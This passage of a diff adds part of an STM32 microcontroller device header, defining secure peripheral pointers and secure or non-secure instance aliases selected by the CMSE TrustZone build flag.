RTC_BASE_S) +#define TAMP_S ((TAMP_TypeDef *) TAMP_BASE_S) + +/*!< AHB1 Secure peripherals */ +#define GPDMA1_S ((DMA_TypeDef *) GPDMA1_BASE_S) +#define GPDMA1_Channel0_S ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_S) +#define GPDMA1_Channel1_S ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_S) +#define GPDMA1_Channel2_S ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_S) +#define GPDMA1_Channel3_S ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_S) +#define GPDMA1_Channel4_S ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_S) +#define GPDMA1_Channel5_S ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_S) +#define GPDMA1_Channel6_S ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_S) +#define GPDMA1_Channel7_S ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_S) +#define GPDMA1_Channel8_S ((DMA_Channel_TypeDef *) GPDMA1_Channel8_BASE_S) +#define GPDMA1_Channel9_S ((DMA_Channel_TypeDef *) GPDMA1_Channel9_BASE_S) +#define GPDMA1_Channel10_S ((DMA_Channel_TypeDef *) GPDMA1_Channel10_BASE_S) +#define GPDMA1_Channel11_S ((DMA_Channel_TypeDef *) GPDMA1_Channel11_BASE_S) +#define GPDMA1_Channel12_S ((DMA_Channel_TypeDef *) GPDMA1_Channel12_BASE_S) +#define GPDMA1_Channel13_S ((DMA_Channel_TypeDef *) GPDMA1_Channel13_BASE_S) +#define GPDMA1_Channel14_S ((DMA_Channel_TypeDef *) GPDMA1_Channel14_BASE_S) +#define GPDMA1_Channel15_S ((DMA_Channel_TypeDef *) GPDMA1_Channel15_BASE_S) +#define CORDIC_S ((CORDIC_TypeDef *) CORDIC_BASE_S) +#define FMAC_S ((FMAC_TypeDef *) FMAC_BASE_S) +#define FLASH_S ((FLASH_TypeDef *) FLASH_R_BASE_S) +#define CRC_S ((CRC_TypeDef *) CRC_BASE_S) +#define TSC_S ((TSC_TypeDef *) TSC_BASE_S) +#define MDF1_S ((MDF_TypeDef *) MDF1_BASE_S) +#define MDF1_Filter0_S ((MDF_Filter_TypeDef*) MDF1_Filter0_BASE_S) +#define MDF1_Filter1_S ((MDF_Filter_TypeDef*) MDF1_Filter1_BASE_S) +#define MDF1_Filter2_S ((MDF_Filter_TypeDef*) MDF1_Filter2_BASE_S) +#define MDF1_Filter3_S ((MDF_Filter_TypeDef*) MDF1_Filter3_BASE_S) +#define MDF1_Filter4_S ((MDF_Filter_TypeDef*) MDF1_Filter4_BASE_S) +#define MDF1_Filter5_S ((MDF_Filter_TypeDef*) MDF1_Filter5_BASE_S) +#define RAMCFG_SRAM1_S ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_S) +#define RAMCFG_SRAM2_S ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_S) +#define RAMCFG_SRAM3_S ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_S) +#define RAMCFG_SRAM4_S ((RAMCFG_TypeDef *) RAMCFG_SRAM4_BASE_S) +#define RAMCFG_SRAM5_S ((RAMCFG_TypeDef *) RAMCFG_SRAM5_BASE_S) +#define RAMCFG_BKPRAM_S ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_S) +#define DMA2D_S ((DMA2D_TypeDef *) DMA2D_BASE_S) +#define ICACHE_S ((ICACHE_TypeDef *) ICACHE_BASE_S) +#define DCACHE1_S ((DCACHE_TypeDef *) DCACHE1_BASE_S) +#define DCACHE2_S ((DCACHE_TypeDef *) DCACHE2_BASE_S) +#define GTZC_TZSC1_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_S) +#define GTZC_TZIC1_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_S) +#define GTZC_MPCBB1_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_S) +#define GTZC_MPCBB2_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_S) +#define GTZC_MPCBB3_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_S) +#define GTZC_MPCBB5_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB5_BASE_S) +#define GFXMMU_S ((GFXMMU_TypeDef *) GFXMMU_BASE_S) + +/*!< AHB2 Secure peripherals */ +#define GPIOA_S ((GPIO_TypeDef *) GPIOA_BASE_S) +#define GPIOB_S ((GPIO_TypeDef *) GPIOB_BASE_S) +#define GPIOC_S ((GPIO_TypeDef *) GPIOC_BASE_S) +#define GPIOD_S ((GPIO_TypeDef *) GPIOD_BASE_S) +#define GPIOE_S ((GPIO_TypeDef *) GPIOE_BASE_S) +#define GPIOF_S ((GPIO_TypeDef *) GPIOF_BASE_S) +#define GPIOG_S ((GPIO_TypeDef *) GPIOG_BASE_S) +#define GPIOH_S ((GPIO_TypeDef *) GPIOH_BASE_S) +#define GPIOI_S ((GPIO_TypeDef *) GPIOI_BASE_S) +#define GPIOJ_S ((GPIO_TypeDef *) GPIOJ_BASE_S) +#define ADC1_S ((ADC_TypeDef *) ADC1_BASE_S) +#define ADC2_S ((ADC_TypeDef *) ADC2_BASE_S) +#define ADC12_COMMON_S ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_S) +#define DCMI_S ((DCMI_TypeDef *) DCMI_BASE_S) +#define PSSI_S ((PSSI_TypeDef *) PSSI_BASE_S) +#define USB_OTG_HS_S ((USB_OTG_GlobalTypeDef *) USB_OTG_HS_BASE_S) +#define AES_S ((AES_TypeDef *) AES_BASE_S) +#define HASH_S ((HASH_TypeDef *) HASH_BASE_S) +#define HASH_DIGEST_S ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_S) +#define RNG_S ((RNG_TypeDef *) RNG_BASE_S) +#define SAES_S ((AES_TypeDef *) SAES_BASE_S) +#define PKA_S ((PKA_TypeDef *) PKA_BASE_S) +#define OTFDEC1_S ((OTFDEC_TypeDef *) OTFDEC1_BASE_S) +#define OTFDEC1_REGION1_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION1_BASE_S) +#define OTFDEC1_REGION2_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION2_BASE_S) +#define OTFDEC1_REGION3_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION3_BASE_S) +#define OTFDEC1_REGION4_S ((OTFDEC_Region_TypeDef *) OTFDEC1_REGION4_BASE_S) +#define OTFDEC2_S ((OTFDEC_TypeDef *) OTFDEC2_BASE_S) +#define OTFDEC2_REGION1_S ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION1_BASE_S) +#define OTFDEC2_REGION2_S ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION2_BASE_S) +#define OTFDEC2_REGION3_S ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION3_BASE_S) +#define OTFDEC2_REGION4_S ((OTFDEC_Region_TypeDef *) OTFDEC2_REGION4_BASE_S) +#define SDMMC1_S ((SDMMC_TypeDef *) SDMMC1_BASE_S) +#define SDMMC2_S ((SDMMC_TypeDef *) SDMMC2_BASE_S) +#define DLYB_SDMMC1_S ((DLYB_TypeDef *) DLYB_SDMMC1_BASE_S) +#define DLYB_SDMMC2_S ((DLYB_TypeDef *) DLYB_SDMMC2_BASE_S) +#define DLYB_OCTOSPI1_S ((DLYB_TypeDef *) DLYB_OCTOSPI1_BASE_S) +#define DLYB_OCTOSPI2_S ((DLYB_TypeDef *) DLYB_OCTOSPI2_BASE_S) +#define FMC_Bank1_R_S ((FMC_Bank1_TypeDef *) FMC_Bank1_R_BASE_S) +#define FMC_Bank1E_R_S ((FMC_Bank1E_TypeDef *) FMC_Bank1E_R_BASE_S) +#define FMC_Bank3_R_S ((FMC_Bank3_TypeDef *) FMC_Bank3_R_BASE_S) +#define OCTOSPIM_S ((OCTOSPIM_TypeDef *) OCTOSPIM_R_BASE_S) +#define OCTOSPI1_S ((OCTOSPI_TypeDef *) OCTOSPI1_R_BASE_S) +#define OCTOSPI2_S ((OCTOSPI_TypeDef *) OCTOSPI2_R_BASE_S) +#define HSPI1_S ((HSPI_TypeDef *) HSPI1_R_BASE_S) + +/*!< AHB3 Secure peripherals */ +#define LPGPIO1_S ((GPIO_TypeDef *) LPGPIO1_BASE_S) +#define PWR_S ((PWR_TypeDef *) PWR_BASE_S) +#define RCC_S ((RCC_TypeDef *) RCC_BASE_S) +#define ADC4_S ((ADC_TypeDef *) ADC4_BASE_S) +#define ADC4_COMMON_S ((ADC_Common_TypeDef *) ADC4_COMMON_BASE_S) +#define DAC1_S ((DAC_TypeDef *) DAC1_BASE_S) +#define EXTI_S ((EXTI_TypeDef *) EXTI_BASE_S) +#define GTZC_TZSC2_S ((GTZC_TZSC_TypeDef *) GTZC_TZSC2_BASE_S) +#define GTZC_TZIC2_S ((GTZC_TZIC_TypeDef *) GTZC_TZIC2_BASE_S) +#define GTZC_MPCBB4_S ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB4_BASE_S) +#define ADF1_S ((MDF_TypeDef *) ADF1_BASE_S) +#define ADF1_Filter0_S ((MDF_Filter_TypeDef*) ADF1_Filter0_BASE_S) +#define LPDMA1_S ((DMA_TypeDef *) LPDMA1_BASE_S) +#define LPDMA1_Channel0_S ((DMA_Channel_TypeDef *) LPDMA1_Channel0_BASE_S) +#define LPDMA1_Channel1_S ((DMA_Channel_TypeDef *) LPDMA1_Channel1_BASE_S) +#define LPDMA1_Channel2_S ((DMA_Channel_TypeDef *) LPDMA1_Channel2_BASE_S) +#define LPDMA1_Channel3_S ((DMA_Channel_TypeDef *) LPDMA1_Channel3_BASE_S) + +/*!< DBGMCU peripheral */ +#define DBGMCU ((DBGMCU_TypeDef *) DBGMCU_BASE) + +/*!< Memory & Instance aliases and base addresses for Non-Secure/Secure peripherals */ + +#if defined (__ARM_FEATURE_CMSE) && (__ARM_FEATURE_CMSE == 3U) + +/*!< Memory base addresses for Secure peripherals */ +#define FLASH_BASE FLASH_BASE_S +#define SRAM1_BASE SRAM1_BASE_S +#define SRAM2_BASE SRAM2_BASE_S +#define SRAM3_BASE SRAM3_BASE_S +#define SRAM4_BASE SRAM4_BASE_S +#define SRAM5_BASE SRAM5_BASE_S +#define BKPSRAM_BASE BKPSRAM_BASE_S +#define PERIPH_BASE PERIPH_BASE_S +#define APB1PERIPH_BASE APB1PERIPH_BASE_S +#define APB2PERIPH_BASE APB2PERIPH_BASE_S +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_S +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_S + +/*!< Instance aliases and base addresses for Secure peripherals */ +#define CORDIC CORDIC_S +#define CORDIC_BASE CORDIC_BASE_S + +#define RCC RCC_S +#define RCC_BASE RCC_BASE_S + +#define DCMI DCMI_S +#define DCMI_BASE DCMI_BASE_S + +#define PSSI PSSI_S +#define PSSI_BASE PSSI_BASE_S + +#define FLASH FLASH_S +#define FLASH_R_BASE FLASH_R_BASE_S + +#define FMAC FMAC_S +#define FMAC_BASE FMAC_BASE_S + +#define GPDMA1 GPDMA1_S +#define GPDMA1_BASE GPDMA1_BASE_S + +#define GPDMA1_Channel0 GPDMA1_Channel0_S +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_S + +#define GPDMA1_Channel1 GPDMA1_Channel1_S +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_S + +#define GPDMA1_Channel2 GPDMA1_Channel2_S +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_S + +#define GPDMA1_Channel3 GPDMA1_Channel3_S +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_S + +#define GPDMA1_Channel4 GPDMA1_Channel4_S +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_S + +#define GPDMA1_Channel5 GPDMA1_Channel5_S +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_S + +#define GPDMA1_Channel6 GPDMA1_Channel6_S +#define GPDMA1_Channel6_BASE GPDMA1_Channel6_BASE_S + +#define GPDMA1_Channel7 GPDMA1_Channel7_S +#define GPDMA1_Channel7_BASE GPDMA1_Channel7_BASE_S + +#define GPDMA1_Channel8 GPDMA1_Channel8_S +#define GPDMA1_Channel8_BASE GPDMA1_Channel8_BASE_S + +#define GPDMA1_Channel9 GPDMA1_Channel9_S +#define GPDMA1_Channel9_BASE GPDMA1_Channel9_BASE_S + +#define GPDMA1_Channel10 GPDMA1_Channel10_S +#define GPDMA1_Channel10_BASE GPDMA1_Channel10_BASE_S + +#define GPDMA1_Channel11 GPDMA1_Channel11_S +#define GPDMA1_Channel11_BASE GPDMA1_Channel11_BASE_S + +#define GPDMA1_Channel12 GPDMA1_Channel12_S +#define GPDMA1_Channel12_BASE GPDMA1_Channel12_BASE_S + +#define GPDMA1_Channel13 GPDMA1_Channel13_S +#define GPDMA1_Channel13_BASE GPDMA1_Channel13_BASE_S + +#define GPDMA1_Channel14 GPDMA1_Channel14_S +#define GPDMA1_Channel14_BASE GPDMA1_Channel14_BASE_S + +#define GPDMA1_Channel15 GPDMA1_Channel15_S +#define GPDMA1_Channel15_BASE GPDMA1_Channel15_BASE_S + +#define LPDMA1 LPDMA1_S +#define LPDMA1_BASE LPDMA1_BASE_S + +#define LPDMA1_Channel0 LPDMA1_Channel0_S +#define LPDMA1_Channel0_BASE LPDMA1_Channel0_BASE_S + +#define LPDMA1_Channel1 LPDMA1_Channel1_S +#define LPDMA1_Channel1_BASE LPDMA1_Channel1_BASE_S + +#define LPDMA1_Channel2 LPDMA1_Channel2_S +#define LPDMA1_Channel2_BASE LPDMA1_Channel2_BASE_S + +#define LPDMA1_Channel3 LPDMA1_Channel3_S +#define LPDMA1_Channel3_BASE LPDMA1_Channel3_BASE_S + +#define GPIOA GPIOA_S +#define GPIOA_BASE GPIOA_BASE_S + +#define GPIOB GPIOB_S +#define GPIOB_BASE GPIOB_BASE_S + +#define GPIOC GPIOC_S +#define GPIOC_BASE GPIOC_BASE_S + +#define GPIOD GPIOD_S +#define GPIOD_BASE GPIOD_BASE_S + +#define GPIOE GPIOE_S +#define GPIOE_BASE GPIOE_BASE_S + +#define GPIOF GPIOF_S +#define GPIOF_BASE GPIOF_BASE_S + +#define GPIOG GPIOG_S +#define GPIOG_BASE GPIOG_BASE_S + +#define GPIOH GPIOH_S +#define GPIOH_BASE GPIOH_BASE_S + +#define GPIOI GPIOI_S +#define GPIOI_BASE GPIOI_BASE_S + +#define GPIOJ GPIOJ_S +#define GPIOJ_BASE GPIOJ_BASE_S + +#define LPGPIO1 LPGPIO1_S +#define LPGPIO1_BASE LPGPIO1_BASE_S + +#define PWR PWR_S +#define PWR_BASE PWR_BASE_S + +#define RAMCFG_SRAM1 RAMCFG_SRAM1_S +#define RAMCFG_SRAM1_BASE RAMCFG_SRAM1_BASE_S + +#define RAMCFG_SRAM2 RAMCFG_SRAM2_S +#define RAMCFG_SRAM2_BASE RAMCFG_SRAM2_BASE_S + +#define RAMCFG_SRAM3 RAMCFG_SRAM3_S +#define RAMCFG_SRAM3_BASE RAMCFG_SRAM3_BASE_S + +#define RAMCFG_SRAM4 RAMCFG_SRAM4_S +#define RAMCFG_SRAM4_BASE RAMCFG_SRAM4_BASE_S + +#define RAMCFG_SRAM5 RAMCFG_SRAM5_S +#define RAMCFG_SRAM5_BASE RAMCFG_SRAM5_BASE_S + +#define RAMCFG_BKPRAM RAMCFG_BKPRAM_S +#define RAMCFG_BKPRAM_BASE RAMCFG_BKPRAM_BASE_S + +#define EXTI EXTI_S +#define EXTI_BASE EXTI_BASE_S + +#define ICACHE ICACHE_S +#define ICACHE_BASE ICACHE_BASE_S + +#define DCACHE1 DCACHE1_S +#define DCACHE1_BASE DCACHE1_BASE_S + +#define DCACHE2 DCACHE2_S +#define DCACHE2_BASE DCACHE2_BASE_S + +#define GTZC_TZSC1 GTZC_TZSC1_S +#define GTZC_TZSC1_BASE GTZC_TZSC1_BASE_S + +#define GTZC_TZSC2 GTZC_TZSC2_S +#define GTZC_TZSC2_BASE GTZC_TZSC2_BASE_S + +#define GTZC_TZIC1 GTZC_TZIC1_S +#define GTZC_TZIC1_BASE GTZC_TZIC1_BASE_S + +#define GTZC_TZIC2 GTZC_TZIC2_S +#define GTZC_TZIC2_BASE GTZC_TZIC2_BASE_S + +#define GTZC_MPCBB1 GTZC_MPCBB1_S +#define GTZC_MPCBB1_BASE GTZC_MPCBB1_BASE_S + +#define GTZC_MPCBB2 GTZC_MPCBB2_S +#define GTZC_MPCBB2_BASE GTZC_MPCBB2_BASE_S + +#define GTZC_MPCBB3 GTZC_MPCBB3_S +#define GTZC_MPCBB3_BASE GTZC_MPCBB3_BASE_S + +#define GTZC_MPCBB4 GTZC_MPCBB4_S +#define GTZC_MPCBB4_BASE GTZC_MPCBB4_BASE_S + +#define GTZC_MPCBB5 GTZC_MPCBB5_S +#define GTZC_MPCBB5_BASE GTZC_MPCBB5_BASE_S + +#define RTC RTC_S +#define RTC_BASE RTC_BASE_S + +#define TAMP TAMP_S +#define TAMP_BASE TAMP_BASE_S + +#define TIM1 TIM1_S +#define TIM1_BASE TIM1_BASE_S + +#define TIM2 TIM2_S +#define TIM2_BASE TIM2_BASE_S + +#define TIM3 TIM3_S +#define TIM3_BASE TIM3_BASE_S + +#define TIM4 TIM4_S +#define TIM4_BASE TIM4_BASE_S + +#define TIM5 TIM5_S +#define TIM5_BASE TIM5_BASE_S + +#define TIM6 TIM6_S +#define TIM6_BASE TIM6_BASE_S + +#define TIM7 TIM7_S +#define TIM7_BASE TIM7_BASE_S + +#define TIM8 TIM8_S +#define TIM8_BASE TIM8_BASE_S + +#define TIM15 TIM15_S +#define TIM15_BASE TIM15_BASE_S + +#define TIM16 TIM16_S +#define TIM16_BASE TIM16_BASE_S + +#define TIM17 TIM17_S +#define TIM17_BASE TIM17_BASE_S + +#define WWDG WWDG_S +#define WWDG_BASE WWDG_BASE_S + +#define IWDG IWDG_S +#define IWDG_BASE IWDG_BASE_S + +#define SPI1 SPI1_S +#define SPI1_BASE SPI1_BASE_S + +#define SPI2 SPI2_S +#define SPI2_BASE SPI2_BASE_S + +#define SPI3 SPI3_S +#define SPI3_BASE SPI3_BASE_S + +#define USART1 USART1_S +#define USART1_BASE USART1_BASE_S + +#define USART2 USART2_S +#define USART2_BASE USART2_BASE_S + +#define USART3 USART3_S +#define USART3_BASE USART3_BASE_S + +#define UART4 UART4_S +#define UART4_BASE UART4_BASE_S + +#define UART5 UART5_S +#define UART5_BASE UART5_BASE_S + +#define USART6 USART6_S +#define USART6_BASE USART6_BASE_S + +#define I2C1 I2C1_S +#define I2C1_BASE I2C1_BASE_S + +#define I2C2 I2C2_S +#define I2C2_BASE I2C2_BASE_S + +#define I2C3 I2C3_S +#define I2C3_BASE I2C3_BASE_S + +#define I2C4 I2C4_S +#define I2C4_BASE I2C4_BASE_S + +#define I2C5 I2C5_S +#define I2C5_BASE I2C5_BASE_S + +#define I2C6 I2C6_S +#define I2C6_BASE I2C6_BASE_S + +#define CRS CRS_S +#define CRS_BASE CRS_BASE_S + +#define FDCAN1 FDCAN1_S +#define FDCAN1_BASE FDCAN1_BASE_S + +#define FDCAN_CONFIG FDCAN_CONFIG_S +#define FDCAN_CONFIG_BASE FDCAN_CONFIG_BASE_S +#define SRAMCAN_BASE SRAMCAN_BASE_S + +#define DAC DAC_S +#define DAC_BASE DAC_BASE_S + +#define DAC1 DAC1_S +#define DAC1_BASE DAC1_BASE_S + +#define OPAMP OPAMP_S +#define OPAMP_BASE OPAMP_BASE_S + +#define OPAMP1 OPAMP1_S +#define OPAMP1_BASE OPAMP1_BASE_S + +#define OPAMP2 OPAMP2_S +#define OPAMP2_BASE OPAMP2_BASE_S + +#define OPAMP12_COMMON OPAMP12_COMMON_S +#define OPAMP12_COMMON_BASE OPAMP12_COMMON_BASE_S + +#define LPTIM1 LPTIM1_S +#define LPTIM1_BASE LPTIM1_BASE_S + +#define LPTIM2 LPTIM2_S +#define LPTIM2_BASE LPTIM2_BASE_S + +#define LPTIM3 LPTIM3_S +#define LPTIM3_BASE LPTIM3_BASE_S + +#define LPTIM4 LPTIM4_S +#define LPTIM4_BASE LPTIM4_BASE_S + +#define LPUART1 LPUART1_S +#define LPUART1_BASE LPUART1_BASE_S + +#define UCPD1 UCPD1_S +#define UCPD1_BASE UCPD1_BASE_S + +#define SYSCFG SYSCFG_S +#define SYSCFG_BASE SYSCFG_BASE_S + +#define VREFBUF VREFBUF_S +#define VREFBUF_BASE VREFBUF_BASE_S + +#define COMP12 COMP12_S +#define COMP12_BASE COMP12_BASE_S + +#define COMP1 COMP1_S +#define COMP1_BASE COMP1_BASE_S + +#define COMP2 COMP2_S +#define COMP2_BASE COMP2_BASE_S + +#define COMP12_COMMON COMP12_COMMON_S +#define COMP12_COMMON_BASE COMP1_BASE_S + +#define SAI1 SAI1_S +#define SAI1_BASE SAI1_BASE_S + +#define SAI1_Block_A SAI1_Block_A_S +#define SAI1_Block_A_BASE SAI1_Block_A_BASE_S + +#define SAI1_Block_B SAI1_Block_B_S +#define SAI1_Block_B_BASE SAI1_Block_B_BASE_S + +#define SAI2 SAI2_S +#define SAI2_BASE SAI2_BASE_S + +#define SAI2_Block_A SAI2_Block_A_S +#define SAI2_Block_A_BASE SAI2_Block_A_BASE_S + +#define SAI2_Block_B SAI2_Block_B_S +#define SAI2_Block_B_BASE SAI2_Block_B_BASE_S + +#define CRC CRC_S +#define CRC_BASE CRC_BASE_S + +#define TSC TSC_S +#define TSC_BASE TSC_BASE_S + +#define ADC1 ADC1_S +#define ADC1_BASE ADC1_BASE_S + +#define ADC2 ADC2_S +#define ADC2_BASE ADC2_BASE_S +#define ADC12_COMMON ADC12_COMMON_S +#define ADC12_COMMON_BASE ADC12_COMMON_BASE_S + + +#define ADC4 ADC4_S +#define ADC4_BASE ADC4_BASE_S + +#define ADC4_COMMON ADC4_COMMON_S +#define ADC4_COMMON_BASE ADC4_COMMON_BASE_S + +#define HASH HASH_S +#define HASH_BASE HASH_BASE_S + +#define HASH_DIGEST HASH_DIGEST_S +#define HASH_DIGEST_BASE HASH_DIGEST_BASE_S + +#define AES AES_S +#define AES_BASE AES_BASE_S + +#define RNG RNG_S +#define RNG_BASE RNG_BASE_S + +#define SAES SAES_S +#define SAES_BASE SAES_BASE_S + +#define PKA PKA_S +#define PKA_BASE PKA_BASE_S +#define PKA_RAM_BASE PKA_RAM_BASE_S + +#define OTFDEC1 OTFDEC1_S +#define OTFDEC1_BASE OTFDEC1_BASE_S + +#define OTFDEC1_REGION1 OTFDEC1_REGION1_S +#define OTFDEC1_REGION1_BASE OTFDEC1_REGION1_BASE_S + +#define OTFDEC1_REGION2 OTFDEC1_REGION2_S +#define OTFDEC1_REGION2_BASE OTFDEC1_REGION2_BASE_S + +#define OTFDEC1_REGION3 OTFDEC1_REGION3_S +#define OTFDEC1_REGION3_BASE OTFDEC1_REGION3_BASE_S + +#define OTFDEC1_REGION4 OTFDEC1_REGION4_S +#define OTFDEC1_REGION4_BASE OTFDEC1_REGION4_BASE_S + +#define OTFDEC2 OTFDEC2_S +#define OTFDEC2_BASE OTFDEC2_BASE_S + +#define OTFDEC2_REGION1 OTFDEC2_REGION1_S +#define OTFDEC2_REGION1_BASE OTFDEC2_REGION1_BASE_S + +#define OTFDEC2_REGION2 OTFDEC2_REGION2_S +#define OTFDEC2_REGION2_BASE OTFDEC2_REGION2_BASE_S + +#define OTFDEC2_REGION3 OTFDEC2_REGION3_S +#define OTFDEC2_REGION3_BASE OTFDEC2_REGION3_BASE_S + +#define OTFDEC2_REGION4 OTFDEC2_REGION4_S +#define OTFDEC2_REGION4_BASE OTFDEC2_REGION4_BASE_S + +#define SDMMC1 SDMMC1_S +#define SDMMC1_BASE SDMMC1_BASE_S + +#define SDMMC2 SDMMC2_S +#define SDMMC2_BASE SDMMC2_BASE_S + +#define FMC_Bank1_R FMC_Bank1_R_S +#define FMC_Bank1_R_BASE FMC_Bank1_R_BASE_S + +#define FMC_Bank1E_R FMC_Bank1E_R_S +#define FMC_Bank1E_R_BASE FMC_Bank1E_R_BASE_S + +#define FMC_Bank3_R FMC_Bank3_R_S +#define FMC_Bank3_R_BASE FMC_Bank3_R_BASE_S + +#define OCTOSPI1 OCTOSPI1_S +#define OCTOSPI1_R_BASE OCTOSPI1_R_BASE_S + +#define OCTOSPI2 OCTOSPI2_S +#define OCTOSPI2_R_BASE OCTOSPI2_R_BASE_S + +#define OCTOSPIM OCTOSPIM_S +#define OCTOSPIM_R_BASE OCTOSPIM_R_BASE_S + +#define DLYB_SDMMC1 DLYB_SDMMC1_S +#define DLYB_SDMMC1_BASE DLYB_SDMMC1_BASE_S + +#define DLYB_SDMMC2 DLYB_SDMMC2_S +#define DLYB_SDMMC2_BASE DLYB_SDMMC2_BASE_S + +#define DLYB_OCTOSPI1 DLYB_OCTOSPI1_S +#define DLYB_OCTOSPI1_BASE DLYB_OCTOSPI1_BASE_S + +#define DLYB_OCTOSPI2 DLYB_OCTOSPI2_S +#define DLYB_OCTOSPI2_BASE DLYB_OCTOSPI2_BASE_S + +#define HSPI1 HSPI1_S +#define HSPI1_R_BASE HSPI1_R_BASE_S + +#define DMA2D DMA2D_S +#define DMA2D_BASE DMA2D_BASE_S + +#define USB_OTG_HS USB_OTG_HS_S +#define USB_OTG_HS_BASE USB_OTG_HS_BASE_S + +#define MDF1 MDF1_S +#define MDF1_BASE MDF1_BASE_S + +#define MDF1_Filter0 MDF1_Filter0_S +#define MDF1_Filter0_BASE MDF1_Filter0_BASE_S + +#define MDF1_Filter1 MDF1_Filter1_S +#define MDF1_Filter1_BASE MDF1_Filter1_BASE_S + +#define MDF1_Filter2 MDF1_Filter2_S +#define MDF1_Filter2_BASE MDF1_Filter2_BASE_S + +#define MDF1_Filter3 MDF1_Filter3_S +#define MDF1_Filter3_BASE MDF1_Filter3_BASE_S + +#define MDF1_Filter4 MDF1_Filter4_S +#define MDF1_Filter4_BASE MDF1_Filter4_BASE_S + +#define MDF1_Filter5 MDF1_Filter5_S +#define MDF1_Filter5_BASE MDF1_Filter5_BASE_S + +#define ADF1 ADF1_S +#define ADF1_BASE ADF1_BASE_S + +#define ADF1_Filter0 ADF1_Filter0_S +#define ADF1_Filter0_BASE ADF1_Filter0_BASE_S + +#define GFXMMU GFXMMU_S +#define GFXMMU_BASE GFXMMU_BASE_S +/* GFXMMU virtual buffers base address */ +#define GFXMMU_VIRTUAL_BUFFERS_BASE GFXMMU_VIRTUAL_BUFFERS_BASE_S +#define GFXMMU_VIRTUAL_BUFFER0_BASE GFXMMU_VIRTUAL_BUFFER0_BASE_S +#define GFXMMU_VIRTUAL_BUFFER1_BASE GFXMMU_VIRTUAL_BUFFER1_BASE_S +#define GFXMMU_VIRTUAL_BUFFER2_BASE GFXMMU_VIRTUAL_BUFFER2_BASE_S +#define GFXMMU_VIRTUAL_BUFFER3_BASE GFXMMU_VIRTUAL_BUFFER3_BASE_S + +#define GPU2D GPU2D_BASE_S + +#define LTDC LTDC_S +#define LTDC_BASE LTDC_BASE_S + +#define LTDC_Layer1_BASE LTDC_Layer1_BASE_S +#define LTDC_Layer2_BASE LTDC_Layer2_BASE_S + +#define DSI DSI_S +#define DSI_BASE DSI_BASE_S + +#define REFBIAS REFBIAS_S +#define REFBIAS_BASE REFBIAS_BASE_S + +#define DPHY DPHY_S +#define DPHY_BASE DPHY_BASE_S + +#else +/*!< Memory base addresses for Non secure peripherals */ +#define FLASH_BASE FLASH_BASE_NS +#define SRAM1_BASE SRAM1_BASE_NS +#define SRAM2_BASE SRAM2_BASE_NS +#define SRAM3_BASE SRAM3_BASE_NS +#define SRAM4_BASE SRAM4_BASE_NS +#define SRAM5_BASE SRAM5_BASE_NS +#define BKPSRAM_BASE BKPSRAM_BASE_NS +#define PERIPH_BASE PERIPH_BASE_NS +#define APB1PERIPH_BASE APB1PERIPH_BASE_NS +#define APB2PERIPH_BASE APB2PERIPH_BASE_NS +#define AHB1PERIPH_BASE AHB1PERIPH_BASE_NS +#define AHB2PERIPH_BASE AHB2PERIPH_BASE_NS + +/*!< Instance aliases and base addresses for Non secure peripherals */ +#define CORDIC CORDIC_NS +#define CORDIC_BASE CORDIC_BASE_NS + +#define RCC RCC_NS +#define RCC_BASE RCC_BASE_NS + +#define DMA2D DMA2D_NS +#define DMA2D_BASE DMA2D_BASE_NS + +#define DCMI DCMI_NS +#define DCMI_BASE DCMI_BASE_NS + +#define PSSI PSSI_NS +#define PSSI_BASE PSSI_BASE_NS + +#define FLASH FLASH_NS +#define FLASH_R_BASE FLASH_R_BASE_NS + +#define FMAC FMAC_NS +#define FMAC_BASE FMAC_BASE_NS + +#define GPDMA1 GPDMA1_NS +#define GPDMA1_BASE GPDMA1_BASE_NS + +#define GPDMA1_Channel0 GPDMA1_Channel0_NS +#define GPDMA1_Channel0_BASE GPDMA1_Channel0_BASE_NS + +#define GPDMA1_Channel1 GPDMA1_Channel1_NS +#define GPDMA1_Channel1_BASE GPDMA1_Channel1_BASE_NS + +#define GPDMA1_Channel2 GPDMA1_Channel2_NS +#define GPDMA1_Channel2_BASE GPDMA1_Channel2_BASE_NS + +#define GPDMA1_Channel3 GPDMA1_Channel3_NS +#define GPDMA1_Channel3_BASE GPDMA1_Channel3_BASE_NS + +#define GPDMA1_Channel4 GPDMA1_Channel4_NS +#define GPDMA1_Channel4_BASE GPDMA1_Channel4_BASE_NS + +#define GPDMA1_Channel5 GPDMA1_Channel5_NS +#define GPDMA1_Channel5_BASE GPDMA1_Channel5_BASE_NS + +#define GPDMA1_Channel6 GPDMA1_Channel6_NS 